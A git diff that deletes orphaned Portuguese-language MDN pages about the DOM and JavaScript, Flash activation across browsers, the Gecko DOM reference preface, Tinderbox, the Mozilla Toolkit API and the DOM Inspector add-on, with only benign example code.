  • -
- -

 

- -

 

- -

 

diff --git a/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html b/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html deleted file mode 100644 index 28e46fdc6d..0000000000 --- a/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: O DOM e o JavaScript -slug: orphaned/O_DOM_e_o_JavaScript -original_slug: O_DOM_e_o_JavaScript ---- -

Quadro Geral

- -

Efeitos visuais como movimentação de camadas pela página, mostrar e esconder camadas, menus em popup, etc. são normalmente referenciados como "DHTML", ou "HTML Dinâmico". Algumas pessoas questionam a utilização real dessas tecnologias em páginas web que supostamente deveriam lidar com conteúdo e não apresentação. Mas o fato é que estão aqui, hoje.

- -

Desde que trabalho nesse projeto, e tendo contato com vários webmasters, me impressiona a grande quantidade da comunidade de webdesign que não conhece seus trabalhos DHTML. A maior parte do tempo eles apenas vão até sites de repositório de scripts, e apenas copiam e colam o código em sua própria página web. Infelizmente a maioria desses sites falam sobre "javascript" e "DHTML" e nunca falam sobre "DOM". É verdade que, mesmo que o DOM seja um conceito antigo, ele faz parte dos "jargões do desenvolvedor web médio" apenas recentemente.

- -

É um grande desafio para um projeto como a Mozilla convencer os donos desses sites de que vale a pena codificar para o DOM W3C , o que as vezes significa muito trabalho, e falta de suporte em browsers antigos. Também é um grande desafio obter os fatos verdadeiros sobre o suporte ao DOM W3C. O Netscape 6 foi muito criticado por webdesigners estúpidos que estavam codificando seu "JavaScript" para o Netscape 4 e Internet Explorer usando document.layers e document.all. Todos os dias tentamos ajudar pessoas em grupos de notícias, emails pessoais, no Bugzilla, a ter seu site o mais compatível possível. Um dos maiores problemas que encontramos é a confusão entre JavaScript, DHTML, e DOM. Essa é uma tentativa de esclarecer as coisas, e explicar as relações entre essas fantásticas e úteis tecnologias.

- -

Javascript, A Linguaguem de Script para Web

- -

JavaScript é uma "linguagem de objetos de script" desenvolvida inicialmente na Netscape Communications Corp. por Brendan Eich, que é um dos líderes do projeto Mozilla atualmente. O motor JavaScript utilizado pela Mozilla é o SpiderMonkey, que está em conformidade com a especificação do ECMA-262 revisão 3. JavaScript também é conhecido como ECMAScript (mas veja a página do link para uma explicação detalhada).

- -

Ao contrário do popular equívoco, Javascript não é "Java Interpretado". Em resumo, Javascript é uma linguagem de script dinâmica com suporte a construção de objetos baseado em protótipo. A sintaxe básica é intencionalmente similar a Java e C++ para reduzir a quantidade de novos conceitos necessários para aprender a linguagem. A grande coisa sobre JavaScript é que ele é extremamente fácil de aprender se você quer fazer programação básica (como as necessárias para DHTML simples). Sem tipos visíveis de variáveis, strings são simples de utilizar, total neutralidade de plataforma, etc. Para codificadores avançados também funciona como linguagem procedural e orientada a objetos.

- -

Você verá que a maior parte desse parágrafo sobre JavaScript foi retirado da página de JavaScript da Mozilla. A especificação mais recente do ECMA pode ser encontrada aqui.

- -

O Modelo de Objeto de Documento, um conjunto de interfaces neutro de linguagem

- -

Enquanto JavaScript é a linguagem de programação que permitirá a você operar os objetos DOM e manipulá-los através de programação, o DOM proverá a você métodos e propriedades para recuperar, modificar, atualizar e remover partes do documento em que você está trabalhando. Por exemplo, você pode recuperar o valor de um controle de input de texto HTML como uma string utilizando o DOM. Então você pode utilizar o operador JavaScript "+" para concatenar essa string com qualquer outra de modo a fazer uma sentença mais compreensível. Você deveria usar o método DOM "alert()" para mostrar a string em uma caixa de diálogo para o usuário. Veja também exemplos abaixo.

- -

Se uma página Web fosse um pedaço de um móvel importado da Suécia, o DOM seria as ilustrações das partes - as prateleiras, parafusos, chaves Allen e chaves de fenda.  É possível escrever instruções de como colocar as partes juntas e utilizá-las em qualquer número de linguagens, mas você só utilizará aquelas que você compreende. O manual faz com que seja fácil montar o móvel utilizando as instruções escritas (JavaScript) para referenciar ilustrações do s objetos (DOM) que representam objetos atuais (motor de renderização do navegador). (Obrigado ao Jonathan pela analogia!)

- -

O que é essa fama "linguagem-neutra" como DOM? Por que o DOM é uma linguagem neutra se a única linguagem utilizada para acessá-lo é JavaScript? Bem, isso não é completamente correto. Por exemplo, a Mozilla utiliza o DOM internamento tanto em C++ quanto em JavaScript para sua interface de usuário. O editor, por exemplo,utiliza DOM extensivamente de modo a inserir, modificar e remover o HTML que você está vendo quando você constrói a página no modulo Compositor. Outras implementações conhecidas do DOM incluem Perl, Java, ActiveX, Python, e provavelmente outras. Isso é com certeza possível apenas devido a neutralidade de linguagem do DOM.

- -

O DOM e o JavaScript - O que está fazendo o que?

- -

Chegamos ao ponto principal desse documento. O que está fazendo o que? Em um script que embuti em minha página web, o que é o DOM e o que é o JavaScript? Vamos olhar um pouco mais de perto para um simples exemplo. Ele irá recuperar todas as tags <a> em uma NodeList que chamamos de "anchorTags". Então para cada tag de âncora (cada elemento da NodeList anchorTags), ele vai mostrar um alert como valor do atributo "href" da tag.

- -

Azul é para JavaScript. Vermelho para DOM.

- -
var anchorTags = document.getElementsByTagName("a");
-for (var i = 0; i < anchorTags.length ; i++)
-{
-   alert("Href desse elemento a é : " + anchorTags[i].href + "\n");
-}
-
- -

Explicações

- -

Esse fragmento de código mostra o que é JavaScript puro, e o que é DOM.

- -
-
var anchorTags =
-
Isso irá criar a variável JavaScript chamada "anchorTags".
-
document.getElementsByTagName("a")
-
A interface Document é a primeira interface definida no DOM1 Core, e document é um hospedeiro de objeto implementando a interface Document. O documento armazena tudo que está em sua página.
- O DOM1 Core define o método getElementsByTagName() na inteface Document. Ele recupera uma NodeList (uma espécie de array específico do DOM que armazena nós) de todas as tags que coincidem com o parâmetro passado para a função, em ordem de ocorrência no documento fonte. A variável anchorTags agora é um NodeList.
-
;
-
O básico ponto e vírgula de fim de instrução. Coisa do JavaScript.
-
for (var i = 0; i <
-
Uma típica repetição "for" de uma linguagem de programação. Isso permite ir através de cada nó contido no NodeList anchorTags. Note a declaração da variável "i". Também JavaScript.
-
anchorTags.length
-
O DOM1 Core define a propriedade length da interface NodeList. Isso retorna um inteiro que é o número de nós contidos no NodeList. Note que arrays JavaScript também possuem uma priedade length.
-
; i++) {
-
Típico incremento de 1 em variável JavaScript.
-
alert(
-
alert() é um método DOM que faz surgir uma caixa de diálogo com o parâmetro (string) que você passou para ele. Note que isso é parte do chamado DOM nível 0, ou DOM0. DOM0 é um conjunto de interfaces suportada por alguns browsers, mas que não é parte da especificação DOM.
-
"Href desse elemento a é: " +
-
Uma string literal e um operador de concatenação de string. JavaScript.
-
anchorTags{{ mediawiki.external('i') }}.href
-
"href" é uma propriedade da interface HTMLAnchorElement definida na especificação HTML DOM1. Ela reotnra o valor do atributo href do elemento âncora, se existir.
- Nós utilizamos anchorTags{{ mediawiki.external('i') }}, a mesma sintaxe que é utilizada em JavaScript para acessar o i-ésimo item de um array. A neutralidade de linguagem "modo DOM" para acessar um item de uma NodeList é utilizar o método item(), definido na interface NodeList: anchorTags.item(1).href. Mas a maioria das implementações JavaScript permite utilizar uma sintaxe mais simples semelhante a de array, e essa é que as pessoas mais utilizam realmente.
-
+ "\n");
-
Mais concatenação de string. Insere um retorno de linha ao fim da string.
-
}
-
Fim do laço de repetição "for".
-
- -
-

Original Document Information

- -
    -
  • Author(s): Fabian Guisset <fguisset at softhome dot net>
  • -
  • Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a Creative Commons license
  • -
-
- -

{{ languages( { "fr": "fr/Le_DOM_et_JavaScript", "ja": "ja/The_DOM_and_JavaScript", "pl": "pl/DOM_i_JavaScript", "zh-cn": "cn/The_DOM_and_JavaScript", "pt": "pt/O_DOM_e_o_JavaScript" } ) }}

diff --git a/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html b/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html deleted file mode 100644 index 97041057e1..0000000000 --- a/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: 'Ativação de Flash: Comparação de Navegador' -slug: orphaned/Plugins/Flash_Activation:_Browser_Comparison -tags: - - Como - - Flash - - Principiante - - compatibilidade de navegador -translation_of: Plugins/Flash_Activation:_Browser_Comparison -original_slug: Plugins/Ativacao_de_Flash:_comparacao_de_navegador ---- -

Cada um dos principais navegadores implementou uma funcionalidade onde o conteúdo do Adobe Flash não é executado por predefinição, mas cada um dos navegadores implementou essa funcionalidade e a interface do utilizador de maneiras ligeiramente diferentes. Este guia irá ajudar a descrever as semelhanças e as diferenças entre os navegadores, para que os programadores da Web possam oferecer a melhor experiência ao utilizador. Está disponível outro guia para assistir os autores do site da Web em migrating away from Flash.

- -

In each browser, the decision to enable Flash is made by users on a per-site basis. When a site attempts to use Flash, the browser will prompt the user in some way and give the user an opportunity to enable Flash for that site. Flash-blocking extensions are no longer necessary because this functionality is now built into the browser.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Mozilla FirefoxGoogle ChromeMicrosoft Edge
Setting NameAsk to activateHTML5 by defaultClick-to-run
'application/x-shockwave-flash' in navigator.mimeTypes by default when Flash is inactiveyesnono
'application/x-shockwave-flash' in navigator.mimeTypes when user enables Flashyesyesyes
<object> with fallback content triggers UIyes, with exceptionsnoyes
small/hidden Flash triggers additional UIyesnono
Enabling Flash automatically reloads the pagenoyesyes
Other features related to FlashDomain BlockingPlugin Power SaverPeripheral Content Pause
- -

Each of the browser vendors has a roadmap about the future of Flash and changes to the user experience. The Firefox Flash roadmap includes links to roadmaps and posts from other vendors.

- -

Caomparação da IU

- -

Mozilla Firefox

- -

In-page UI is displayed when the site attempts to use Flash. An icon also appears on the left side of the location bar. The user can click on the Flash object or the location bar icon to activate Flash:

- -

- -

Users have the choice to allow Flash just for the current session, or to remember their choice:

- -

- -

Google Chrome

- -

In-page UI is displayed when the site attempts to use Flash without fallback content:

- -

- -

A user can click the plugin element to show a prompt for allowing Flash:

- -

- -

If the site provides fallback content for an object element, Chrome will display that content and will not prompt the user to enable Flash. If a Flash element is not visible to the user, the user will not get a visible prompt.

- -

A user can click the information icon on the left side of the location bar on any site to open the site information and allow Flash on that site:

- -

- -

Microsoft Edge

- -

In-page UI is displayed when the site attempts to use Flash. An icon also appears on the right side of the location bar. The user can click the Flash object to show activation options:

- -

- -

Users have the choice to allow Flash just for the current session, or to remember their choice:

- -

- -

Dicas de Elaboração do Site

- -

If a Flash element is very small, hidden, or covered by other content, users will probably not notice that Flash is required and will become confused. Even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. This can be done by calling a JavaScript function when the plugin is activated:

- -
function pluginCreated() {
-  // We don't need to see the plugin, so hide it by resizing
-  var plugin = document.getElementById('myPlugin');
-  plugin.height = 0;
-  plugin.width = 0;
-  plugin.callPluginMethod();
-}
- -

The HTML, by default, specifies the Flash object to be a size that makes it visible, like this:

- -
<!-- Give the plugin an initial size so it is visible -->
-<object type="application/x-shockwave-flash" data="myapp.swf"
-      id="myPlugin" width="300" height="300">
-  <param name="callback" value="pluginCreated()">
-</object>
- -

The callback parameter defined in the HTML can be called in Flash using its flash.external.ExternalInterface API.

- -

Utilizar um callback de script para determinar quando um plug-in é ativado

- -

Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. Instead, the plugin object should call into a JavaScript function upon creation. That function can then issue the call into the plugin, knowing that everything is set up and ready to go.

- -

First, set your up your HTML with a callback that calls the JavaScript function pluginCreated(), like this:

- -
<object type="application/x-my-plugin" data="somedata.mytype" id="myPlugin">
-  <param name="callback" value="pluginCreated()">
-</object>
- -

The pluginCreated() function is then responsible for the setup of your script and any calls back into the plugin that you need to make:

- -
function pluginCreated() {
-  document.getElementById('myPlugin').callPluginMethod();
-}
diff --git "a/files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" "b/files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" deleted file mode 100644 index 4c0eaea503..0000000000 --- "a/files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Prefácio -slug: orphaned/Referência_do_DOM_Gecko/Prefácio -tags: - - Referência_do_DOM_Gecko -original_slug: Referência_do_DOM_Gecko/Prefácio ---- -

{{ ApiRef() }}

-

Sobre Esta Referência

-

Esta seção descreve o próprio guia: a quem se destina, como a informação está representada, e como você pode usar os exemplos desta referência para seu próprio desenvolvimento de DOM.

-

Note que este documento está sob desenvolvimento, e atualmente não é uma listagem completa das propriedades e métodos do DOM implementados para o Gecko. No entanto, cada seção individual do documento (por exemplo, o DOM Document Reference) está completa para o(s) objeto(s) que descreve. Ao passo que as informações de referência para os vários membros das enormes APIs tornam-se disponíveis, elas são integradas neste documento.

-

Quem Deveria Ler Este Guia

-

O leitor do Gecko DOM Reference é um desenvolvedor web ou um usuário entusiasta que sabe algo sobre como as páginas de internet são construídas. Esta referência evitar fazer presunções sobre a familiaridade do leitor com o DOM, com XML, com servidores web ou padrões web, e mesmo com JavaScript, a linguagem na qual o DOM se torna acessível para o leitor. Mas o documento pressupõe familiaridade com HTML, com marcações, com a estrutura básica de páginas de internet, com navegadores e com folhas de estilo.

-

Aqui está presente o material introdutório, com muitos exemplos, e explicações de alto nível devem ser valiosas tanto para os desenvolvedores web inexperientes quanto para os experientes, e não é apenas um guia de desenvolvimento web para "iniciantes". Em geral, contudo, é um manual de referência da API que está evoluindo.

-

O Que É Gecko?

-

Mozilla, Firefox, Netscape 6+, e outros navegadores baseados no Mozilla tem implementações idênticas do DOM. Isto é porque eles usam a mesma tecnologia.naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain

-

Gecko, o componente de software destes navegadores que manipula a análise do HTML, o layout das páginas, o modelo de objeto do documento, e mesmo a renderização da interface da aplicação inteira, é um componente renderizador, rápido, condizente com padrões, que implementa os padrões da W3C e similares (mas não padronizados) para o modelo de objeto de navegador (por exemplo, window et al) no contexto de páginas de internet e interfaces de aplicações, ou - - chrome - , do navegador.

-

Embora a interface de aplicação e o conteúdo mostrado na tela pelo navegador são diferentes de várias maneiras possíveis, o DOM os dispõe uniformemente como uma hierarquia de nós. (commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user

-

Sintaxe da API

-

Cada descrição na referência da API inclui a sintaxe, os parâmetros de entrada e saída (onde o tipo de retorno é dado), um exemplo, quaisquer notas adicionais, e um link para a especificação apropriada.

-

Tipicamente, propriedades somente para leitura têm uma única linha de sintaxe, porque não é possível atribuir-lhes valor, essas propriedades podem apenas ser acessadas. Por exemplo, a propriedade somente para leitura availHeight do objeto screen tem a seguinte a seguinte informação de sintaxe:

-
- Image:Preface2.gif
-

Isto significa que você somente pode usar a propriedade do lado direito da sentença; enquanto com propriedades de leitura e escrita, você pode atribuir um valor à propriedade, como o seguinte exemplo de sintaxe ilustra:

-
- Image:Prefacea.gif
-

Em geral, o objeto cujo membro está sendo descrito é dado na sentença sintática por um tipo simples, por exemplo, element para todos os elementos, document para o objeto de documento de nível mais alto, table para o objeto tabela, e assim por diante (veja Tipos de dados importantes para maiores informações sobre os tipos de dados).

-

Usando os exemplos

-

Muitos dos exemplos que se encontram nesta referência são arquivos completos que você pode executar apenas copiando e colando em um novo arquivo e abrindo com o seu navegador. Outros são trechos de código. Você pode executar estes últimos colocando-os dentro de funções de chamada em JavaScript. Por exemplo, o exemplo para a propriedade window.document pode ser testada dentro de uma função como seguinte, que é chamada pelo botão:

-
<html>
-
-<script>
-function testWinDoc() {
-
-  doc= window.document;
-
-  alert(doc.title);
-
-}
-</script>
-
-<button onclick="testWinDoc();">Testar propriedade do document</button>
-
-</html>
-
-

Funções e páginas similares podem ser concebidas para todos os membros do objeto que todavia não estão prontos para uso imediato. Veja a introdução da seção Testando a API do DOM para uma bateria de testes que você pode usar para testar de uma vez uma série de APIs.

-
-  
-

{{ languages( { "es": "es/Referencia_DOM_de_Gecko/Prefacio", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}

diff --git "a/files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" "b/files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" deleted file mode 100644 index a84e597969..0000000000 --- "a/files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Referência JSDBGAPI -slug: orphaned/Referência_JSDBGAPI -tags: - - JavaScript - - Referência_JSDBGAPI - - SpiderMonkey - - Todas_as_Categorias -original_slug: Referência_JSDBGAPI ---- -

 

- -

Lista Alfabética

- -

Estruturas de Dados

- -

Funções

- -

Macros

- -

Desaprovado

- -

Condicionantes de pré-processador

diff --git a/files/pt-pt/orphaned/sobre_o_document_object_model/index.html b/files/pt-pt/orphaned/sobre_o_document_object_model/index.html deleted file mode 100644 index c5b0ba1417..0000000000 --- a/files/pt-pt/orphaned/sobre_o_document_object_model/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Sobre o Document Object Model -slug: orphaned/Sobre_o_Document_Object_Model -tags: - - DOM - - Todas_as_Categorias -original_slug: Sobre_o_Document_Object_Model ---- -

O que é o DOM?

- -

O Document Object Model é uma API para documentos HTML e XML. Isto proporciona uma representação estrutural de um documento, habilitando você a modificar seu conteúdo e apresentação visual. Essencialmente, isto conecta páginas web àscripts ou linguagens de programação.

- -

Todas as propriedades, métodos, e eventos disponíveis para o desenvolvimento web para manipulação e criação de páginas web são organizados dentro dos objetos (e.g., o documento objeto que representa o documento por si mesmo, a tabela objeto que representa a tabela de elementos HTML, e assim por diante). Estes objetos são acessíveis via linguagens descripts nos mais recentes navegadores web.

- -

O DOM é normalmente o mais usado em conjunto com o JavaScript. Que é, o código é escrito em JavaScript, mas usa o DOM para acessar a página web e seus elementos. Entretanto, o DOM foi desenhado para ser independente de qualquer linguagem de programação particular, fazendo a representação estrutural do documento disponível em uma simples, API consistente. Embora nosso foco no JavaScript por todo este site, implementações do DOM podem ser construídas para qualquer linguagem.

- -

O World Wide Web Consortium estabelece um padrão para o DOM, chamado o W3C DOM. Deve, agora que os mais importantes navegadores implementaram isto corretamente, ativar poderosas aplicações multi navegadores.

- -

Por que o suporte DOM no Mozilla é importante?

- -

"HTML Dinâmico" (DHTML) é um termo usado por alguns vendedores para descrever a combinação do HTML, folhas de estilo escripts que permitem aos documentos serem animados. O Grupo de Trabalho W3C DOM está trabalhando duro para certificar-se da solução de interoperabilidade e linguagem-neutra sejam aceitos (veja também o W3C FAQ). Como o Mozilla reivindica o título de "Plataforma de Aplicação Web", suporte para o DOM é uma das características mais requisitadas, e uma necessária se o Mozilla deseja se tornar uma alternativa viável para outros navegadores.

- -

Ainda mais importante é o fato de que a interface de usuário do Mozilla (também Firefox e Thunderbird) é construída usando XUL -- uma linguagem XML de interface de usuário. Então Mozilla usa o DOM para manipular seu próprio UI.

- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/orphaned/tinderbox/index.html b/files/pt-pt/orphaned/tinderbox/index.html deleted file mode 100644 index 8ad5501c15..0000000000 --- a/files/pt-pt/orphaned/tinderbox/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Tinderbox -slug: orphaned/Tinderbox -tags: - - Desenvolvimento_Mozilla - - Desenvolvimento_Mozilla:Ferramentas - - Ferramentas - - Todas_as_Categorias -original_slug: Tinderbox ---- -

 

- -

Tinderbox é uma ferramenta web que os desenvolvedores Mozilla usam para checar se o código CVS corrente compila e passa nos testes funcionais básicos.

- -

Árvores disponíveis:

- - - -

Mozilla roda a configuração de computadores ("Tinderboxen") que continuamente constrói o código fonte mais recente; a ferramenta web tinderbox mostra o estado destas construções. Use as tabelas dela para encontrar o estado da fonte da árvore para a plataforma, produto, e galhos de código que você esteja interessado. Se isto for verde, significa que o último teste de código CVS compilado passou nos testes de fumo. Se for vermelho, isto falhou, e sua construção possivelmente falhará também.

- -

A ferramenta web tinderbox reporta os resultados de vários testes de performance (inglês) como Tp ou Txul. Os desenvolvedores Mozilla frequentemente checam estes números para observar o efeito de mudanças de código na performance; uma mudança que é suficiente para diminuir a performance e pode ser descartada.

- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/orphaned/toolkit_api/index.html b/files/pt-pt/orphaned/toolkit_api/index.html deleted file mode 100644 index e89fba77ba..0000000000 --- a/files/pt-pt/orphaned/toolkit_api/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Toolkit API -slug: orphaned/Toolkit_API -original_slug: Toolkit_API ---- -

O Mozilla Toolkit, ou em português, a caixa de ferramentas Mozilla, é um conjunto de interfaces de programação (APIs) construídos com base no Gecko que fornece serviços avançados a aplicações XUL. Estes serviços incluem: -

Gestão de Perfil; -Registo Chrome; -Histórico de Navegação; -Gestão de Extensões e de Temas; -Serviço de Actualização de Aplicações; -Modo de Segurança; -

diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html deleted file mode 100644 index aada27f24a..0000000000 --- a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Inspetor de DOM -slug: orphaned/Tools/Add-ons/DOM_Inspector -tags: - - DOM:Ferramentas - - Desenvolvimento_Web - - Desenvolvimento_Web:Ferramentas - - Extensões:Ferramentas - - Ferramentas - - PrecisaDeRevisãoTécnica - - Temas - - Temas:Ferramentas - - Todas_as_Categorias - - XUL:Ferramentas -translation_of: Tools/Add-ons/DOM_Inspector -original_slug: DOM_Inspector ---- -
{{ToolsSidebar}}

Inspector DOM (também conhecido como DOMi) é uma ferramenta de programação utilizada para inspecionar, navegar, e editar Document Object Model of documents - usually web pages or XUL windows. The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.

- -
-

This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the Page Inspector

-
- -

Documentação

- -
-
Introduction to DOM Inspector
-
A guided tutorial that will help you get started with DOM Inspector.
-
- -
-
Perguntas Mais Frequentes do Inspetor de DOM
-
Answers to common questions on DOM Inspector.
-
- -
-
Página do Inspetor de Inspector em MozillaZine (EN)
-
Mais informação sobre o Inspetor de DOM.
-
Como criar o Inspetor de DOM (EN)
-
Blog post on building the DOM Inspector from source.
-
- -

Obter o Inspetor de DOM

- -
-
Firefox & Thunderbird
-
You may download and install the DOM Inspector from the AMO web site. (Thunderbird users browsing AMO in Firefox should save the installation link, or visit the DOM Inspector for Thunderbird page.)
-
- -
-
Thunderbird 2
-
DOM Inspector for Thunderbird 2 is available from Thunderbird Add-ons. Or, build Thunderbird yourself with the following options:
-
- -
ac_add_options --enable-extensions="default inspector"
-ac_add_options --enable-inspector-apis
-
- -
-
Mozilla Suite and SeaMonkey
-
Select Tools > Web Development > DOM Inspector. You can install the Sidebar panel via Edit > Preferences > Advanced > DOM Inspector, then simply open up the inspector panel and visit a website.
-
- -

Comunicar um erro no Inspetor de DOM

- -

Use the conveniently named "DOM Inspector" component in Bugzilla.

- -

To find out who knows DOM Inspector code and where it lives, see the DOM Inspector module listing.

diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html deleted file mode 100644 index f4104880ec..0000000000 --- a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Introdução ao Inspetor de DOM -slug: orphaned/Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector -translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector -original_slug: DOM_Inspector/Introduction_to_DOM_Inspector ---- -
{{ToolsSidebar}}

O 'Inspetor de DOM' é uma extensão da Mozilla que pode aceder no menu Ferramentas > Desenvolvimento da Web no SeaMonkey, ou selecionar o item de menu do 'Inspetor de DOM' no menu das 'Ferramentas' no Firefox e Thunderbird, ou utilizar Ctrl/Cmd+Shift+I numa das aplicações. DOM Inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the DOM, or it can be used to manipulate the DOM by hand, if desired.

- -
Note: Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must download and install it from the Mozilla add-ons web site.
- -

When you first start the DOM Inspector, you are presented with a two-pane application window that looks a little like the main Mozilla browser. Like the browser, the DOM Inspector includes an address bar, and some of the same menus. In SeaMonkey additional global menus will be available.

- -

domi.png

- -

Inspecionar um Documento

- -

When the DOM Inspector opens, it may or may not load an associated document, depending on the host application. If the DOM Inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways.

- -

Inspecionar Documentos de Conteúdo

- -

The Inspect Content Document menupopup can be accessed from the File menu, and it will list currently loaded content documents. In Firefox and SeaMonkey browser, these will be the webpages you have opened in tabs. For Thunderbird and SeaMonkey Mail and News, any messages you're viewing will be listed here.domi-inspect-content-popup.png

- -

Inspecionar Documentos do Chrome

- -

The Inspect Chrome Document menupopup can be accessed from the File menu , and it will contain the list of currently loaded chrome windows and subdocuments. A browser window and the DOM Inspector are likely be already open and displayed in this list. The DOM Inspector keeps track of all the windows that are open, so to inspect the DOM of a particular window in the DOM Inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist.

- -

domi-inspect-chrome-popup.png

- -

Inspecionar URLs arbitrários

- -

You may also inspect the DOM of arbitrary URLs by using the Inspect a URL menuitem in the File menu, or by just entering a URL into the DOM Inspector's address bar and clicking Inspect or pressing enter. For example, you can enter http://www.mozilla.org in the address bar and see the DOM structure of the mozilla.org home page.

- -

You should not use this approach to inspect chrome documents. Instead, ensure that the document loads via normal means and use the Inspect Chrome Document menupopup to select it for inspection.

- -

domi-inspect-chrome-popup.png

- -

When you inspect a web page with this method, a browser pane at the bottom of the DOM Inspector window will open up, displaying the web page. This allows you to use the DOM Inspector without having to use a separate browser window, or without embedding a browser in your application at all. If you find that the browser pane takes up too much space, you may close it, but you will not be able to observe any of the visual consequences of your actions.

- -

Utilizar o Inspetor de DOM

- -

Once you've opened the document for the page or chrome you are interested in, you'll see that it loads the DOM Nodes viewer in the document pane and the DOM Node viewer in the object pane. In the DOM Nodes viewer, there should be a structured, hierarchical view of the DOM. By clicking around in the document pane, you'll see that the viewers are linked; whenever you select a new node from the DOM Nodes viewer, the DOM Node viewer is automatically updated to reflect the information for that node. Linked viewers are the first major aspect to understand when learning how to use the DOM Inspector.

- -

Visualizadores do Inspetor de DOM

- -

Note that these viewers are just two viewers that the DOM Inspector provides. It's possible to use other viewers, but for now we'll stick to describing the DOM Nodes viewer and the DOM Node viewer.

- -

You can use the DOM Nodes viewer in the document pane of the DOM Inspector to find and inspect nodes  you are interested in. One of the biggest and most immediate advantages that this brings to your web and application development is that it makes it possible to find the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined. One common use of the DOM Inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. If you're inspecting a chrome document, as you select nodes in the DOM Nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. (Note that there are bugs which prevent the flasher from DOM Inspector APIs from working correctly on certain platforms.)

- -

If you inspect the main browser window, for example, and select nodes in the DOM Nodes viewer (other than the elements which have no visible UI as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a blinking red border. You can traverse the structure and go from the topmost parts parts of the DOM tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.

- -

domi-edit-search-onclick.png

- -

Now, once you have selected a node like the "search-go-button" node, you can select any one of several viewers to display information about that node in the object pane of the DOM Inspector application window, all of which are available from the menupopup accessed from the upper left corner of the the object pane.

- -

domi-object-viewers.png

- -

In order to find out what the actual name of the file is being used to provide the search go icon, you can select the CSS Rules viewer from this menu and see the various selectors and rules that have been applied. The rule that applies the search icon to the element uses a class simple selector and uses a list-style-image property to point to a file in the current theme.

- -

The list of viewers available from the viewer menu gives you some idea about how extensive the DOM Inspector's inspecting capabilities are. The following descriptions provide an overview of what these viewers are about:

- -

The DOM Nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. The attributes and text contents may also be edited.

- -

The Box Model viewer gives various metrics about XUL and HTML elements, including placement and size.

- -

The XBL Bindings viewer lists the XBL bindings attached to elements. If a binding extends another binding, the binding menulist will list them in descending order to to "root" binding.

- -

The CSS Rules viewer shows the CSS rules that are applied to the node. Alternatively, when used in conjunction with the Style Sheets viewer, the CSS Rules viewer lists all recognized rules from that style sheet in order. Properties may be also be edited. Rules applying to pseudo-elements do not appear.

- -

The JavaScript Object viewer gives a hierarchical tree of the object pane's subject. The JavaScript Object viewer also allows JavaScript to be evaluated by selecting the appropriate menuitem in the context menu.

- -

Ações básicas do visualizador de Nodos de DOM

- -

Selecionar elementos, com clique

- -

Another powerful interactive feature of the DOM Inspector is that when you have the DOM Inspector open and have enabled this functionality by choosing Edit > Select Element by Click or by clicking the little magnifying glass icon in the upper left portion of the DOM Inspector application, you can click anywhere in a loaded web page or the the inspect chrome document, and the element you click will be shown in the document pane in the DOM Nodes viewer and information displayed in the object pane.

- -

procurar por Nodos no DOM

- -

